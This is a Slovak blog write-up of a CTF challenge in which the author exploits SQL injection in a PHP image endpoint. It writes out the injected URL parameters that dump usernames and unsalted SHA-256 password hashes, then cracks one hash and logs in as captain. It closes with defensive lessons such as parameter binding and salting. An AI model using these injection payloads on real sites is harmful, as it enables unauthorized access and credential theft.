25. 10. 2023

CTF - The Catch 2023 - Navigation plan

Prvý dôstojník bol pozvaný na námornícke presso kapitánom (ako už vieme z API ponuky kávomatu, obsahuje tvrdý alkohol). Teraz sú obaja nespôsobilí služby. Druhý dôstojník je veľmi zaneprázdnený a požiadal nás o kontrolu, kam smerujeme podľa navigačného plánu.

Navigačný plán je na VPN stránke http://navigation-plan.cns-jv.tcc

Po zobrazení stránky v prehliadači vidím 3x3 mriežku s mapami (PNG obrázky) s popismi umiestnenia, prázdnymi políčkami RAW a tlačidlami pre detaily. V hlavičke stránky je login formulár a popis, že detaily vidí iba kapitán a prvý dôstojník.

Musím teda zistiť ako sa dostať k detailom, buď zistením loginu a hesla kapitána alebo dôstojníka, alebo priamo načítaním daného obrázka či textu z webu nejakou fintou.


Kade do vnútra


Potrebujeme sa teda dopracovať k skrytým informáciám v stránke.

Pri pátraní v zdrojových kódoch vidím, že všetky mapy (obrázky) vráti rovnaký link, len s upraveným parametrom:

http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1
http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=2
http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=3

Znamená to, že obrázky sú dynamicky generované pravdepodobne cez PHP. Zvyšovanie ID čísla nepomohlo, skúsim mu teda podhodiť upravený parameter "type" a "t", či sa nedostanem k detailom mapy. Možno miesto "data", alebo "targets" by šlo zobraziť "details"?

Skúsim teda adresu:
http://navigation-plan.cns-jv.tcc/image.png?type=details&t=targets&id=1

Vrátilo:
Fatal error: Uncaught mysqli_sql_exception: Unknown column 'details' in 'field list' in /var/www/html/image.php:9 Stack trace: #0 /var/www/html/image.php(9): mysqli_query(Object(mysqli), 'SELECT details ...') #1 {main} thrown in /var/www/html/image.php on line 9

Vidím, že PHP kód pre obrázky má neošetrené vstupy, ktoré vkladá priamo do reťazca s SQL príkazom. Postupným dopĺňaním všetkých troch parametrov sa mi podarí poodkrývať celý SQL kód v chybách:

SELECT data FROM navigation.targets
 JOIN files on targets.id = files.id_target WHERE targets.id = 1

Máme tu teda tabuľku navigation.targets, z ktorej vyberáme stĺpec data, z nich sa potom nejak robia PNG obrázky.
Po dlhšom pátraní som narazil na stĺpec location v pôvodnej tabuľke targets. Výstup bol ale nečitateľný. Preto som zistil, že potrebujem konvertovať dáta do base64, pretože v takom kóde je uložený obrázok, aby šiel použiť na webe.

Skúsim teda adresu:
http://navigation-plan.cns-jv.tcc/image.png?type=to_base64(location)&t=targets&id=1

Vrátilo:
Mediterranean Sea

Ďalšia zaujímavá informácia ktorá vyzerala použiteľne boli okienka RAW, skúsil som teda tento stĺpec.

Skúsim teda adresu:
http://navigation-plan.cns-jv.tcc/image.png?type=to_base64(raw)&t=targets&id=1

Vrátilo:
34.0972223,23.2975259

Sú to zjavne GPS súradnice, vrátilo ich ale pre všetky obrázky, žiadna časť vlajky. Pravdepodobne sa budem musieť sústrediť na to prihlásenie.

Pátranie po hesle


Tabuľka targets nebude to pravé orechové, nikde neviem nájsť vlajku.
Ideálne by teda bolo sa prihlásiť, k tomu ale potrebujeme presný login a heslo pre kapitána alebo prvého dôstojníka. Toto by malo byť v nejakej tabuľke, avšak zložitý sql príkaz (JOIN - spájanie tabuliek) nám zťažuje situáciu.
Skúsime preto techniku známu z sql injection - zakomentovanie zvyšku sql príkazu. Komentár v SQL začína znakmi "--". Keďže si odpílime aj podmienku, potrebujeme ju pridať tesne pred komentár:

Skúsim teda adresu:
http://navigation-plan.cns-jv.tcc/image.png?type=TO_BASE64(username)&t=users%20where%20id=1--&id=1

Vrátilo:
engeneer

Takto máme select celý pod kontrolou, vidíme stĺpec username z tabuľky users pre riadok s ID=1. Engineer nemá oprávnenia, tak pozrieme ďalej, 2 je "captain" a 3 je "officer".
Login tak máme vyriešený a je čas na heslo.

Skúsim teda adresu:
http://navigation-plan.cns-jv.tcc/image.png?type=TO_BASE64(password)&t=users%20where%20id=2--&id=1

Vrátilo:
7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537

Pozbieral som tak pre istotu všetky 3 kontá:
engeneer:15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225
 captain:7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537
 officer:6a4aed6869c8216e463054dcf7e320530b5dc5e05feae6d6d22a4311e3b22ceb

Keď dáme prvý reťazec hesla do google, zistíme, že ide o SHA256 hash hesla "123456789". Prvé konto tak máme, aj vieme, že hľadáme pôvodné heslo pre SHA256 hash. Pre najčastejšie používané heslá možno skúsiť na prelomenie hashcat.

Dobrá správa je, že sa podarilo na stránkach nájsť aj heslo kapitána, bolo to "$captainamerica$".


Po prihlásení to už bolo jednoduché, prejsť na detaily všetky mapy a v tej 4tej bola vlajka:



Záver



Táto úloha bola pre mňa veľmi zaujímavá. Človek sa bežne snaží sql injection zablokovať, tu sa dalo vyskúšať si prečo je nebezpečná. Chvíľu som sa pokúšal rozbehať aj "sqlmap", nepodarilo sa, avšak motivácia bola dostatočná a dopátral som všetky potrebné stĺpce a tabuľky aj bez neho.

  • SQL injection je jedna často využívaných techník napádania webových aplikácii. Vstupy možno ošetriť rôznym spôsobom, či už na povolené znaky, regexp, preklad reťazcov cez podmienky, vkladanie parametrov ako "bind" premenných do SQL, ideálne však kombináciou

  • detailné debug výpisy by sa tiež nemali na produkčných stránkach verejne zobrazovať

  • lámanie hashov hesiel - tie najčastejšie použité budú v rôznych slovníkoch po internete, aspoň v prípade ako tento, kedy nie je použitý "salt"

  • obrázok možno (hoci je to zväčša neefektívne) vložiť priamo do html kódu v kódovaní base64 do src parametra img tagu

Žiadne komentáre:

Zverejnenie komentára